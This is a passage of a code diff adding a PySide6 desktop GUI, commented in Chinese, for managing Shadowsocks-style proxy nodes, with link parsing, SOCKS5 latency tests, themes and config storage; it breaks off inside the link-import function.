p.add_argument("--log", default="INFO", help="Logging level (DEBUG/INFO/WARNING/ERROR)")
|
||||
args = p.parse_args()
|
||||
logging.basicConfig(level=getattr(logging, args.log.upper(), logging.INFO), format="%(asctime)s %(levelname)s: %(message)s")
|
||||
return Config(
|
||||
remote_host=args.remote_host,
|
||||
remote_port=args.remote_port,
|
||||
password=args.password,
|
||||
mx_head_str=args.mx_head_str,
|
||||
listen_host=args.listen,
|
||||
listen_port=args.listen_port,
|
||||
)
|
||||
|
||||
|
||||
def main() -> None:
|
||||
cfg = parse_args()
|
||||
try:
|
||||
asyncio.run(run_server(cfg))
|
||||
except KeyboardInterrupt:
|
||||
pass
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
974
python/ss_modern.py
Normal file
974
python/ss_modern.py
Normal file
@ -0,0 +1,974 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
"""
|
||||
现代化 GUI(PySide6)用于管控 ss_client_aes256cfb.py / ss.exe
|
||||
|
||||
主要改进:
|
||||
- QMainWindow 架构:工具栏 + 状态栏 + 分栏布局(左侧节点 / 右侧选项卡)
|
||||
- 主题:支持明亮 / 暗黑,一键切换;一致圆角与留白;统一字号
|
||||
- 节点管理:搜索过滤(实时)、拖拽排序、右键菜单(重命名/复制/导出)
|
||||
- 测速展示:列表中显示彩色时延(绿/黄/红/灰),一眼可见
|
||||
- 操作提升:Clipboard 导入、导入/导出、打开配置文件夹、Toast 提示
|
||||
- 稳健性:表单校验、启动/停止按钮状态同步、QProcess 合并输出、线程清理
|
||||
|
||||
依赖:
|
||||
pip install PySide6 requests PySocks
|
||||
|
||||
运行:
|
||||
python ss_client_gui_qt_modern.py
|
||||
"""
|
||||
from __future__ import annotations
|
||||
|
||||
import base64
|
||||
import json
|
||||
import os
|
||||
import random
|
||||
import socket
|
||||
import subprocess
|
||||
import sys
|
||||
import time
|
||||
from dataclasses import dataclass, asdict, field
|
||||
from pathlib import Path
|
||||
from typing import Any, Dict, List, Optional, Tuple
|
||||
from urllib.parse import parse_qs, unquote, urlparse
|
||||
|
||||
import requests
|
||||
from PySide6.QtCore import (QAbstractListModel, QCoreApplication, QEvent, QModelIndex,
|
||||
QProcess, QSortFilterProxyModel, Qt, QThread, QRect,
|
||||
QRegularExpression, Signal, Slot, QEasingCurve, QPropertyAnimation)
|
||||
from PySide6.QtGui import (QAction, QColor, QIcon, QKeySequence, QPalette,
|
||||
QStandardItemModel, QTextCursor)
|
||||
from PySide6.QtWidgets import (
|
||||
QApplication,
|
||||
QMainWindow,
|
||||
QWidget,
|
||||
QSplitter,
|
||||
QListView,
|
||||
QLineEdit,
|
||||
QToolBar,
|
||||
QStatusBar,
|
||||
QStyle,
|
||||
QFileDialog,
|
||||
QFormLayout,
|
||||
QSpinBox,
|
||||
QHBoxLayout,
|
||||
QVBoxLayout,
|
||||
QPushButton,
|
||||
QLabel,
|
||||
QGroupBox,
|
||||
QTabWidget,
|
||||
QMessageBox,
|
||||
QTextEdit,
|
||||
QMenu,
|
||||
QAbstractSpinBox,
|
||||
)
|
||||
|
||||
# ---------------------------- 常量与默认值 ---------------------------- #
|
||||
|
||||
APP_NAME = "Galaxy Muxun Client"
|
||||
CONFIG_FILE = (Path.home() / ".ss_client_gui.json") # 移到家目录更通用
|
||||
DEFAULT_SCRIPT = "ss.exe" # 开发态可换 "ss.py"
|
||||
DEFAULT_TEST_URL = "http://www.gstatic.com/generate_204"
|
||||
TEST_RANGE = (60000, 61000) # [low, high)
|
||||
|
||||
# 时延彩色阈值(ms)
|
||||
LATENCY_OK = 180.0
|
||||
LATENCY_WARN = 450.0
|
||||
|
||||
# ------------------------------ 数据模型 ------------------------------ #
|
||||
|
||||
@dataclass
|
||||
class Node:
|
||||
"""单个节点配置。"""
|
||||
name: str
|
||||
server: str
|
||||
port: int
|
||||
password: str
|
||||
mx: str = "HELLO"
|
||||
last_latency_ms: float = -1.0 # -1 表示未知/失败
|
||||
last_msg: str = ""
|
||||
|
||||
|
||||
@dataclass
|
||||
class LaunchConfig:
|
||||
"""全局配置与节点集合。"""
|
||||
script_path: str
|
||||
nodes: List[Node] = field(default_factory=list)
|
||||
selected: int = 0
|
||||
listen_host: str = "127.0.0.1"
|
||||
listen_port: int = 1080
|
||||
log_level: str = "INFO"
|
||||
theme: str = "light" # light/dark
|
||||
|
||||
|
||||
# ------------------------------ 工具函数 ------------------------------ #
|
||||
|
||||
def app_base_dir() -> Path:
|
||||
"""获取应用基础目录。"""
|
||||
return Path(sys.executable).parent if getattr(sys, "frozen", False) else Path(__file__).resolve().parent
|
||||
|
||||
|
||||
def _default_script_path() -> str:
|
||||
return str((app_base_dir() / DEFAULT_SCRIPT).resolve())
|
||||
|
||||
|
||||
def _resolve_cmd(script_path: str, extra_args: List[str]) -> List[str]:
|
||||
"""根据后缀拼启动命令:.exe 直接跑;.py 用当前解释器;相对路径基于程序目录。"""
|
||||
p = Path(script_path)
|
||||
if not p.is_absolute():
|
||||
p = (app_base_dir() / p).resolve()
|
||||
ext = p.suffix.lower()
|
||||
if ext in (".exe", ".bat", ".cmd","mx"):
|
||||
return [str(p), *extra_args]
|
||||
if ext in (".py", ""):
|
||||
return [sys.executable, str(p), *extra_args]
|
||||
return [str(p), *extra_args]
|
||||
|
||||
|
||||
def _b64_decode_padded(s: str) -> bytes:
|
||||
"""URL 安全 base64 解码,自动补齐 padding。"""
|
||||
s = unquote(s.strip())
|
||||
pad = (-len(s)) % 4
|
||||
if pad:
|
||||
s += "=" * pad
|
||||
try:
|
||||
import base64 as _b64
|
||||
return _b64.urlsafe_b64decode(s.encode("utf-8"))
|
||||
except Exception:
|
||||
return base64.b64decode(s.encode("utf-8") + b"==")
|
||||
|
||||
|
||||
def parse_ss_uri(uri: str) -> Optional[Node]:
|
||||
"""解析 ss:// 链接(两种常见形式),支持 ?mx= 扩展。"""
|
||||
try:
|
||||
if not uri.startswith("ss://"):
|
||||
return None
|
||||
body = uri[5:]
|
||||
if "@" in body and "://" not in body:
|
||||
parsed = urlparse(uri.replace("ss://", "http://", 1))
|
||||
userinfo = parsed.username or ""
|
||||
method, _, password = (userinfo or ":").partition(":")
|
||||
host = parsed.hostname or ""
|
||||
port = parsed.port or 0
|
||||
mx = (parse_qs(parsed.query or "").get("mx", [""])[0])
|
||||
tag = unquote(parsed.fragment or "")
|
||||
name = tag or f"{host}:{port}"
|
||||
if method and method.lower() != "aes-256-cfb":
|
||||
name = f"{name} (method={method})"
|
||||
return Node(name=name, server=host, port=int(port), password=password or "", mx=mx or "HELLO")
|
||||
# base64 形式
|
||||
if "#" in body:
|
||||
b64, tag = body.split("#", 1)
|
||||
tag = unquote(tag)
|
||||
else:
|
||||
b64, tag = body, ""
|
||||
decoded = _b64_decode_padded(b64).decode("utf-8")
|
||||
fake = "http://" + decoded
|
||||
parsed2 = urlparse(fake)
|
||||
method = parsed2.username or ""
|
||||
password = parsed2.password or ""
|
||||
host = parsed2.hostname or ""
|
||||
port = parsed2.port or 0
|
||||
mx = (parse_qs(parsed2.query or "").get("mx", [""])[0])
|
||||
name = tag or f"{host}:{port}"
|
||||
if method and method.lower() != "aes-256-cfb":
|
||||
name = f"{name} (method={method})"
|
||||
return Node(name=name, server=host, port=int(port), password=password, mx=mx or "HELLO")
|
||||
except Exception:
|
||||
return None
|
||||
|
||||
|
||||
def parse_ssr_uri(uri: str) -> Optional[Node]:
|
||||
"""解析 ssr:// 链接,提取 server/port/method/password/remarks。"""
|
||||
try:
|
||||
if not uri.startswith("ssr://"):
|
||||
return None
|
||||
payload = uri[6:]
|
||||
decoded = _b64_decode_padded(payload).decode("utf-8")
|
||||
main, _, qs = decoded.partition("/?")
|
||||
parts = main.split(":")
|
||||
if len(parts) < 6:
|
||||
return None
|
||||
host, port_str, _proto, method, _obfs, b64pass = parts[:6]
|
||||
password = _b64_decode_padded(b64pass).decode("utf-8")
|
||||
name = f"{host}:{port_str}"
|
||||
if qs:
|
||||
q = parse_qs(qs)
|
||||
if "remarks" in q:
|
||||
try:
|
||||
name = _b64_decode_padded(q["remarks"][0]).decode("utf-8") or name
|
||||
except Exception:
|
||||
pass
|
||||
if method and method.lower() != "aes-256-cfb":
|
||||
name = f"{name} (method={method})"
|
||||
return Node(name=name, server=host, port=int(port_str), password=password, mx="HELLO")
|
||||
except Exception:
|
||||
return None
|
||||
|
||||
|
||||
def _pick_free_port(low: int, high: int) -> int:
|
||||
"""在 [low, high) 里随机挑一个可绑定的端口。"""
|
||||
for _ in range(50):
|
||||
p = random.randint(low, high - 1)
|
||||
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
|
||||
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
||||
try:
|
||||
s.bind(("127.0.0.1", p))
|
||||
return p
|
||||
except OSError:
|
||||
continue
|
||||
return low
|
||||
|
||||
|
||||
def _wait_port_open(host: str, port: int, timeout: float) -> bool:
|
||||
"""等待端口可连接。"""
|
||||
t0 = time.time()
|
||||
while time.time() - t0 < timeout:
|
||||
try:
|
||||
with socket.create_connection((host, port), timeout=0.3):
|
||||
return True
|
||||
except OSError:
|
||||
time.sleep(0.05)
|
||||
return False
|
||||
|
||||
|
||||
# ------------------------------ 线程:测速 ------------------------------ #
|
||||
|
||||
class LatencyWorker(QThread):
|
||||
"""真实链路测速:起本地代理→SOCKS5 拉取 generate_204→计时。"""
|
||||
result = Signal(int, float, str) # (index, latency_ms or -1, message)
|
||||
|
||||
def __init__(self, index: int, node: Node, script_path: str, log_level: str = "ERROR",
|
||||
url: str = DEFAULT_TEST_URL) -> None:
|
||||
super().__init__()
|
||||
self.index = index
|
||||
self.node = node
|
||||
self.script_path = script_path
|
||||
self.log_level = log_level
|
||||
self.url = url
|
||||
self.proc: Optional[subprocess.Popen] = None
|
||||
self.local_port: int = 0
|
||||
|
||||
def run(self) -> None:
|
||||
"""线程入口。"""
|
||||
try:
|
||||
self.local_port = _pick_free_port(*TEST_RANGE)
|
||||
core_args = [
|
||||
"--remote-host", self.node.server,
|
||||
"--remote-port", str(self.node.port),
|
||||
"--password", self.node.password,
|
||||
"--mx", self.node.mx,
|
||||
"--listen", "0.0.0.0",
|
||||
"--port", str(self.local_port),
|
||||
"--log", self.log_level,
|
||||
]
|
||||
cmd = _resolve_cmd(self.script_path, core_args)
|
||||
cwd = Path(cmd[0]).parent
|
||||
creation = 0
|
||||
if os.name == "nt" and hasattr(subprocess, "CREATE_NO_WINDOW"):
|
||||
creation = subprocess.CREATE_NO_WINDOW # type: ignore[attr-defined]
|
||||
self.proc = subprocess.Popen(
|
||||
cmd,
|
||||
stdout=subprocess.PIPE,
|
||||
stderr=subprocess.STDOUT,
|
||||
creationflags=creation,
|
||||
cwd=cwd,
|
||||
)
|
||||
if not _wait_port_open("127.0.0.1", self.local_port, timeout=5.0):
|
||||
raise RuntimeError("本地代理启动超时")
|
||||
|
||||
proxies = {
|
||||
"http": f"socks5h://127.0.0.1:{self.local_port}",
|
||||
"https": f"socks5h://127.0.0.1:{self.local_port}",
|
||||
}
|
||||
t0 = time.time()
|
||||
r = requests.get(self.url, proxies=proxies, timeout=8.0, allow_redirects=False)
|
||||
if r.status_code not in (204, 200, 301, 302):
|
||||
raise RuntimeError(f"HTTP {r.status_code}")
|
||||
ms = (time.time() - t0) * 1000.0
|
||||
self.result.emit(self.index, ms, "ok")
|
||||
except Exception as e: # noqa: BLE001
|
||||
self.result.emit(self.index, -1.0, str(e))
|
||||
finally:
|
||||
if self.proc:
|
||||
try:
|
||||
self.proc.terminate()
|
||||
try:
|
||||
self.proc.wait(timeout=2.0)
|
||||
except subprocess.TimeoutExpired:
|
||||
self.proc.kill()
|
||||
self.proc.wait(timeout=1.0)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
|
||||
# ----------------------------- Model / Proxy ---------------------------- #
|
||||
|
||||
class NodeListModel(QAbstractListModel):
|
||||
"""节点列表 Model,含时延状态。"""
|
||||
def __init__(self, nodes: List[Node]) -> None:
|
||||
super().__init__()
|
||||
self._nodes = nodes
|
||||
|
||||
# 拖拽排序支持
|
||||
def flags(self, index: QModelIndex) -> Qt.ItemFlags: # type: ignore[override]
|
||||
fl = super().flags(index) | Qt.ItemIsDragEnabled | Qt.ItemIsDropEnabled | Qt.ItemIsEditable | Qt.ItemIsSelectable | Qt.ItemIsEnabled
|
||||
return fl
|
||||
|
||||
def supportedDropActions(self) -> Qt.DropActions: # type: ignore[override]
|
||||
return Qt.MoveAction
|
||||
|
||||
def rowCount(self, parent: QModelIndex = QModelIndex()) -> int: # type: ignore[override]
|
||||
return 0 if parent.isValid() else len(self._nodes)
|
||||
|
||||
def data(self, index: QModelIndex, role: int = Qt.DisplayRole) -> Any: # type: ignore[override]
|
||||
if not index.isValid():
|
||||
return None
|
||||
n = self._nodes[index.row()]
|
||||
if role == Qt.DisplayRole:
|
||||
lat = n.last_latency_ms
|
||||
suffix = "— 测速中…" if lat == -2 else ("— 失败" if lat < 0 else f"— {lat:.0f} ms")
|
||||
return f"{n.name} {suffix}"
|
||||
if role == Qt.ForegroundRole:
|
||||
lat = self._nodes[index.row()].last_latency_ms
|
||||
if lat == -2:
|
||||
return QColor("#6b7280") # slate-500
|
||||
if lat < 0:
|
||||
return QColor("#ef4444") # red-500
|
||||
if lat <= LATENCY_OK:
|
||||
return QColor("#10b981") # emerald-500
|
||||
if lat <= LATENCY_WARN:
|
||||
return QColor("#f59e0b") # amber-500
|
||||
return QColor("#ef4444")
|
||||
return None
|
||||
|
||||
def setData(self, index: QModelIndex, value: Any, role: int = Qt.EditRole) -> bool: # type: ignore[override]
|
||||
if not index.isValid() or role != Qt.EditRole:
|
||||
return False
|
||||
self._nodes[index.row()].name = str(value)
|
||||
self.dataChanged.emit(index, index, [Qt.DisplayRole])
|
||||
return True
|
||||
|
||||
def insertRow(self, row: int, node: Node) -> None:
|
||||
self.beginInsertRows(QModelIndex(), row, row)
|
||||
self._nodes.insert(row, node)
|
||||
self.endInsertRows()
|
||||
|
||||
def removeRow(self, row: int) -> None:
|
||||
self.beginRemoveRows(QModelIndex(), row, row)
|
||||
self._nodes.pop(row)
|
||||
self.endRemoveRows()
|
||||
|
||||
def moveRows(self, sourceParent: QModelIndex, sourceRow: int, count: int,
|
||||
destinationParent: QModelIndex, destinationChild: int) -> bool: # type: ignore[override]
|
||||
if count != 1 or sourceParent.isValid() or destinationParent.isValid():
|
||||
return False
|
||||
self.beginMoveRows(QModelIndex(), sourceRow, sourceRow, QModelIndex(), destinationChild)
|
||||
node = self._nodes.pop(sourceRow)
|
||||
if destinationChild > sourceRow:
|
||||
destinationChild -= 1
|
||||
self._nodes.insert(destinationChild, node)
|
||||
self.endMoveRows()
|
||||
return True
|
||||
|
||||
# 工具方法
|
||||
def node(self, row: int) -> Optional[Node]:
|
||||
return self._nodes[row] if 0 <= row < len(self._nodes) else None
|
||||
|
||||
def nodes(self) -> List[Node]:
|
||||
return self._nodes
|
||||
|
||||
|
||||
# ------------------------------ 主题 / 样式 ------------------------------ #
|
||||
|
||||
def apply_theme(app: QApplication, theme: str = "light") -> None:
|
||||
"""应用明亮/暗黑主题(QPalette + QSS 细化)。"""
|
||||
palette = QPalette()
|
||||
if theme == "dark":
|
||||
palette.setColor(QPalette.Window, QColor("#111827"))
|
||||
palette.setColor(QPalette.Base, QColor("#0b1220"))
|
||||
palette.setColor(QPalette.AlternateBase, QColor("#111827"))
|
||||
palette.setColor(QPalette.Text, QColor("#e5e7eb"))
|
||||
palette.setColor(QPalette.WindowText, QColor("#e5e7eb"))
|
||||
palette.setColor(QPalette.Button, QColor("#1f2937"))
|
||||
palette.setColor(QPalette.ButtonText, QColor("#f3f4f6"))
|
||||
palette.setColor(QPalette.Highlight, QColor("#4f46e5"))
|
||||
palette.setColor(QPalette.HighlightedText, QColor("#ffffff"))
|
||||
else:
|
||||
palette = app.palette() # 使用系统/默认浅色
|
||||
palette.setColor(QPalette.Highlight, QColor("#4f46e5"))
|
||||
palette.setColor(QPalette.HighlightedText, QColor("#ffffff"))
|
||||
|
||||
app.setPalette(palette)
|
||||
|
||||
# 统一圆角、边框与控件间距(轻量级 QSS)
|
||||
app.setStyleSheet("""
|
||||
QWidget { font-size: 12pt; }
|
||||
QLineEdit, QTextEdit, QListView, QSpinBox { border: 1px solid #cbd5e1; border-radius: 8px; padding: 6px; }
|
||||
QPushButton { border-radius: 8px; padding: 8px 12px; }
|
||||
QPushButton:disabled { opacity: .6; }
|
||||
QToolBar { spacing: 8px; padding: 6px; }
|
||||
QStatusBar { padding: 4px; }
|
||||
QGroupBox { border: 1px solid #e5e7eb; border-radius: 10px; margin-top: 10px; }
|
||||
QGroupBox::title { subcontrol-origin: margin; left: 12px; padding: 0 4px; }
|
||||
""")
|
||||
|
||||
|
||||
# ------------------------------ Toast 提示 ------------------------------ #
|
||||
|
||||
class Toast(QWidget):
|
||||
"""右下角浮动提示。"""
|
||||
def __init__(self, parent: QWidget, text: str) -> None:
|
||||
super().__init__(parent)
|
||||
self.setWindowFlags(Qt.ToolTip | Qt.FramelessWindowHint)
|
||||
self.setAttribute(Qt.WA_TransparentForMouseEvents)
|
||||
self.label = QLabel(text, self)
|
||||
self.label.setStyleSheet("QLabel { background: rgba(0,0,0,0.75); color: white; padding: 8px 12px; border-radius: 8px; }")
|
||||
self.anim = QPropertyAnimation(self, b"windowOpacity", self)
|
||||
self.anim.setDuration(1600)
|
||||
self.anim.setStartValue(0.0)
|
||||
self.anim.setKeyValueAt(0.1, 1.0)
|
||||
self.anim.setEndValue(0.0)
|
||||
self.anim.setEasingCurve(QEasingCurve.InOutQuad)
|
||||
self.anim.finished.connect(self.close)
|
||||
|
||||
def showEvent(self, _e) -> None: # noqa: N802
|
||||
self.resize(self.label.sizeHint())
|
||||
parent = self.parentWidget()
|
||||
if parent:
|
||||
geo = parent.geometry()
|
||||
self.move(geo.right() - self.width() - 24, geo.bottom() - self.height() - 24)
|
||||
self.anim.start()
|
||||
|
||||
|
||||
def show_toast(parent: QWidget, text: str) -> None:
|
||||
Toast(parent, text).show()
|
||||
|
||||
|
||||
# ------------------------------ 主窗口 UI ------------------------------ #
|
||||
|
||||
class MainWindow(QMainWindow):
|
||||
"""主窗口:工具栏 + 分栏 + 选项卡 + 状态栏。"""
|
||||
|
||||
def __init__(self) -> None:
|
||||
super().__init__()
|
||||
self.setWindowTitle(APP_NAME)
|
||||
if sys.platform.startswith("win"):
|
||||
self.setWindowIcon(QIcon())
|
||||
self.proc: Optional[QProcess] = None
|
||||
self.latency_threads: List[LatencyWorker] = []
|
||||
self.cfg = self._load_config()
|
||||
|
||||
# 主题
|
||||
apply_theme(QApplication.instance(), self.cfg.theme)
|
||||
|
||||
# 中心分栏
|
||||
splitter = QSplitter(self)
|
||||
splitter.setChildrenCollapsible(False)
|
||||
self.setCentralWidget(splitter)
|
||||
|
||||
# 左侧:搜索 + 列表 + 按钮
|
||||
left = QWidget()
|
||||
lv = QVBoxLayout(left)
|
||||
self.edit_search = QLineEdit(placeholderText="搜索节点名 / IP …")
|
||||
self.edit_search.setClearButtonEnabled(True)
|
||||
lv.addWidget(self.edit_search)
|
||||
|
||||
self.model = NodeListModel(self.cfg.nodes)
|
||||
self.proxy = QSortFilterProxyModel(self)
|
||||
self.proxy.setSourceModel(self.model)
|
||||
self.proxy.setFilterCaseSensitivity(Qt.CaseInsensitive)
|
||||
self.proxy.setFilterRegularExpression(QRegularExpression(".*"))
|
||||
self.list = QListView()
|
||||
self.list.setModel(self.proxy)
|
||||
self.list.setSelectionMode(QListView.SingleSelection)
|
||||
self.list.setDragDropMode(QListView.InternalMove)
|
||||
self.list.setEditTriggers(QListView.EditTrigger.EditKeyPressed | QListView.EditTrigger.SelectedClicked)
|
||||
lv.addWidget(self.list, 1)
|
||||
|
||||
btn_row = QHBoxLayout()
|
||||
self.btn_add = QPushButton("新增")
|
||||
self.btn_import = QPushButton("导入")
|
||||
self.btn_delete = QPushButton("删除")
|
||||
self.btn_test = QPushButton("测速")
|
||||
self.btn_test_all = QPushButton("全部测速")
|
||||
for b in (self.btn_add, self.btn_import, self.btn_delete, self.btn_test, self.btn_test_all):
|
||||
btn_row.addWidget(b)
|
||||
lv.addLayout(btn_row)
|
||||
|
||||
splitter.addWidget(left)
|
||||
|
||||
# 右侧:Tab(节点 / 全局 / 日志)
|
||||
right = QTabWidget()
|
||||
splitter.addWidget(right)
|
||||
splitter.setStretchFactor(0, 3)
|
||||
splitter.setStretchFactor(1, 5)
|
||||
|
||||
# 节点表单
|
||||
tab_node = QWidget()
|
||||
form = QFormLayout(tab_node)
|
||||
self.edit_name = QLineEdit()
|
||||
self.edit_host = QLineEdit()
|
||||
self.spin_port = QSpinBox(); self.spin_port.setRange(1, 65535)
|
||||
self.spin_port.setButtonSymbols(QAbstractSpinBox.NoButtons) # 直接去掉上下按钮
|
||||
|
||||
self.edit_password = QLineEdit(); self.edit_password.setEchoMode(QLineEdit.Password)
|
||||
self.edit_mx = QLineEdit()
|
||||
form.addRow("名称", self.edit_name)
|
||||
form.addRow("远端IP/域名", self.edit_host)
|
||||
form.addRow("端口", self.spin_port)
|
||||
form.addRow("密码", self.edit_password)
|
||||
form.addRow("mx_head_str", self.edit_mx)
|
||||
right.addTab(tab_node, "节点")
|
||||
|
||||
# 全局设置
|
||||
tab_global = QWidget()
|
||||
fg = QFormLayout(tab_global)
|
||||
self.edit_script = QLineEdit()
|
||||
hb = QHBoxLayout()
|
||||
btn_browse = QPushButton("浏览…")
|
||||
hb.addWidget(self.edit_script, 1)
|
||||
hb.addWidget(btn_browse)
|
||||
fg.addRow("核心可执行/脚本", hb)
|
||||
self.edit_listen_host = QLineEdit()
|
||||
self.spin_listen_port = QSpinBox(); self.spin_listen_port.setRange(1, 65535)
|
||||
self.spin_listen_port.setButtonSymbols(QAbstractSpinBox.NoButtons)
|
||||
self.edit_log = QLineEdit(placeholderText="DEBUG/INFO/WARNING/ERROR")
|
||||
self.edit_test_url = QLineEdit(DEFAULT_TEST_URL)
|
||||
fg.addRow("本地监听IP", self.edit_listen_host)
|
||||
fg.addRow("端口", self.spin_listen_port)
|
||||
fg.addRow("日志级别", self.edit_log)
|
||||
fg.addRow("测速 URL", self.edit_test_url)
|
||||
|
||||
hb2 = QHBoxLayout()
|
||||
self.btn_open_config = QPushButton("打开配置文件夹")
|
||||
self.btn_export = QPushButton("导出节点…")
|
||||
self.btn_theme = QPushButton("切换主题")
|
||||
hb2.addWidget(self.btn_open_config)
|
||||
hb2.addWidget(self.btn_export)
|
||||
hb2.addWidget(self.btn_theme)
|
||||
fg.addRow(hb2)
|
||||
right.addTab(tab_global, "全局")
|
||||
|
||||
# 日志
|
||||
tab_log = QWidget()
|
||||
vl = QVBoxLayout(tab_log)
|
||||
self.text_log = QTextEdit(readOnly=True)
|
||||
hb3 = QHBoxLayout()
|
||||
self.btn_clear_log = QPushButton("清空日志")
|
||||
self.btn_copy_log = QPushButton("复制全部")
|
||||
hb3.addWidget(self.btn_clear_log)
|
||||
hb3.addWidget(self.btn_copy_log)
|
||||
hb3.addStretch(1)
|
||||
vl.addWidget(self.text_log, 1)
|
||||
vl.addLayout(hb3)
|
||||
right.addTab(tab_log, "日志")
|
||||
|
||||
# 工具栏
|
||||
tb = QToolBar("工具")
|
||||
self.addToolBar(tb)
|
||||
act_start = QAction(self.style().standardIcon(QStyle.SP_MediaPlay), "启动", self)
|
||||
act_stop = QAction(self.style().standardIcon(QStyle.SP_MediaStop), "停止", self)
|
||||
act_import_clip = QAction(self.style().standardIcon(QStyle.SP_DialogOpenButton), "从剪贴板导入", self)
|
||||
act_save_node = QAction(self.style().standardIcon(QStyle.SP_DialogSaveButton), "保存节点", self)
|
||||
act_theme = QAction("主题", self)
|
||||
act_theme.setShortcut(QKeySequence("Ctrl+T"))
|
||||
for a in (act_start, act_stop, act_import_clip, act_save_node, act_theme):
|
||||
tb.addAction(a)
|
||||
|
||||
# 状态栏
|
||||
sb = QStatusBar()
|
||||
self.setStatusBar(sb)
|
||||
|
||||
# 右键菜单(列表)
|
||||
self.list.setContextMenuPolicy(Qt.CustomContextMenu)
|
||||
self.list.customContextMenuRequested.connect(self._open_ctx_menu)
|
||||
|
||||
# 绑定信号
|
||||
self.list.selectionModel().currentChanged.connect(self._on_select_changed)
|
||||
self.edit_search.textChanged.connect(self._apply_filter)
|
||||
self.btn_add.clicked.connect(self._add_node)
|
||||
self.btn_delete.clicked.connect(self._delete_node)
|
||||
self.btn_import.clicked.connect(self._import_links_dialog)
|
||||
self.btn_test.clicked.connect(self._test_selected)
|
||||
self.btn_test_all.clicked.connect(self._test_all)
|
||||
btn_browse.clicked.connect(self._browse_script)
|
||||
self.btn_open_config.clicked.connect(lambda: os.startfile(CONFIG_FILE.parent) if sys.platform.startswith("win") else os.system(f'open "{CONFIG_FILE.parent}"' if sys.platform == "darwin" else f'xdg-open "{CONFIG_FILE.parent}"'))
|
||||
self.btn_export.clicked.connect(self._export_nodes)
|
||||
self.btn_theme.clicked.connect(self._toggle_theme)
|
||||
self.btn_clear_log.clicked.connect(lambda: self.text_log.clear())
|
||||
self.btn_copy_log.clicked.connect(self._copy_logs)
|
||||
|
||||
act_start.triggered.connect(self.start_process)
|
||||
act_stop.triggered.connect(self.stop_process)
|
||||
act_import_clip.triggered.connect(self._import_from_clipboard)
|
||||
act_save_node.triggered.connect(self._save_node_from_form)
|
||||
act_theme.triggered.connect(self._toggle_theme)
|
||||
|
||||
# 初始化数据到表单 & 选中项
|
||||
self._refresh_list_selection()
|
||||
self._load_selected_to_form()
|
||||
self._update_buttons()
|
||||
|
||||
# ---------------------------- 配置读写 ---------------------------- #
|
||||
|
||||
def _load_config(self) -> LaunchConfig:
|
||||
"""加载配置,兼容旧版结构。"""
|
||||
if CONFIG_FILE.exists():
|
||||
try:
|
||||
data = json.loads(CONFIG_FILE.read_text(encoding="utf-8"))
|
||||
if "nodes" in data:
|
||||
nodes = [Node(**n) for n in data["nodes"]]
|
||||
return LaunchConfig(
|
||||
script_path=data.get("script_path", _default_script_path()),
|
||||
nodes=nodes,
|
||||
selected=int(data.get("selected", 0)),
|
||||
listen_host=data.get("listen_host", "127.0.0.1"),
|
||||
listen_port=int(data.get("listen_port", 1080)),
|
||||
log_level=data.get("log_level", "INFO"),
|
||||
theme=data.get("theme", "light"),
|
||||
)
|
||||
# 旧格式迁移
|
||||
node = Node(
|
||||
name=f"{data.get('remote_host','127.0.0.1')}:{int(data.get('remote_port',8388))}",
|
||||
server=data.get("remote_host", "127.0.0.1"),
|
||||
port=int(data.get("remote_port", 8388)),
|
||||
password=data.get("password", "secret123"),
|
||||
mx=data.get("mx_head_str", "HELLO"),
|
||||
)
|
||||
return LaunchConfig(
|
||||
script_path=data.get("script_path", _default_script_path()),
|
||||
nodes=[node],
|
||||
selected=0,
|
||||
listen_host=data.get("listen_host", "127.0.0.1"),
|
||||
listen_port=int(data.get("listen_port", 1080)),
|
||||
log_level=data.get("log_level", "INFO"),
|
||||
)
|
||||
except Exception:
|
||||
pass
|
||||
# 默认
|
||||
return LaunchConfig(
|
||||
script_path=_default_script_path(),
|
||||
nodes=[Node(name="demo", server="127.0.0.1", port=8388, password="secret123", mx="HELLO")],
|
||||
selected=0,
|
||||
)
|
||||
|
||||
def _save_all(self) -> None:
|
||||
data = asdict(self.cfg)
|
||||
# dataclass 内含 Node 对象,需转换
|
||||
data["nodes"] = [asdict(n) for n in self.cfg.nodes]
|
||||
CONFIG_FILE.parent.mkdir(parents=True, exist_ok=True)
|
||||
CONFIG_FILE.write_text(json.dumps(data, ensure_ascii=False, indent=2), encoding="utf-8")
|
||||
self.statusBar().showMessage(f"配置已保存:{CONFIG_FILE}", 3000)
|
||||
|
||||
# ---------------------------- 列表/选择/过滤 ---------------------------- #
|
||||
|
||||
def _apply_filter(self, text: str) -> None:
|
||||
self.proxy.setFilterRegularExpression(QRegularExpression(text if text else ".*"))
|
||||
|
||||
def _refresh_list_selection(self) -> None:
|
||||
row = max(0, min(self.cfg.selected, len(self.cfg.nodes) - 1))
|
||||
idx = self.proxy.index(row, 0)
|
||||
if idx.isValid():
|
||||
self.list.setCurrentIndex(idx)
|
||||
|
||||
def _current_row_src(self) -> int:
|
||||
idx = self.list.currentIndex()
|
||||
if not idx.isValid():
|
||||
return -1
|
||||
return self.proxy.mapToSource(idx).row()
|
||||
|
||||
@Slot()
|
||||
def _on_select_changed(self, current: QModelIndex, _prev: QModelIndex) -> None:
|
||||
self.cfg.selected = self.proxy.mapToSource(current).row()
|
||||
self._load_selected_to_form()
|
||||
|
||||
# ---------------------------- 节点 CRUD ---------------------------- #
|
||||
|
||||
def _add_node(self) -> None:
|
||||
node = Node(name="new", server="127.0.0.1", port=8388, password="", mx="HELLO")
|
||||
self.model.insertRow(len(self.cfg.nodes), node)
|
||||
self.cfg.selected = len(self.cfg.nodes) - 1
|
||||
self._refresh_list_selection()
|
||||
self._save_all()
|
||||
show_toast(self, "已新增节点")
|
||||
|
||||
def _delete_node(self) -> None:
|
||||
row = self._current_row_src()
|
||||
if row < 0:
|
||||
return
|
||||
if QMessageBox.question(self, "确认", "删除当前节点?") != QMessageBox.Yes:
|
||||
return
|
||||
self.model.removeRow(row)
|
||||
self.cfg.selected = max(0, min(row, len(self.cfg.nodes) - 1))
|
||||
self._refresh_list_selection()
|
||||
self._save_all()
|
||||
|
||||
def _import_links_dialog(self) -> None:
|
||||
path, _ = QFileDialog.getOpenFileName(self, "选择包含 ss/ssr 链接的文本文件", str(app_base_dir()), "Text (*.txt);;All (*)")
|
||||
if not path:
|
||||
return
|
||||
text = Path(path).read_text(encoding="utf-8", errors="ignore")
|
||||
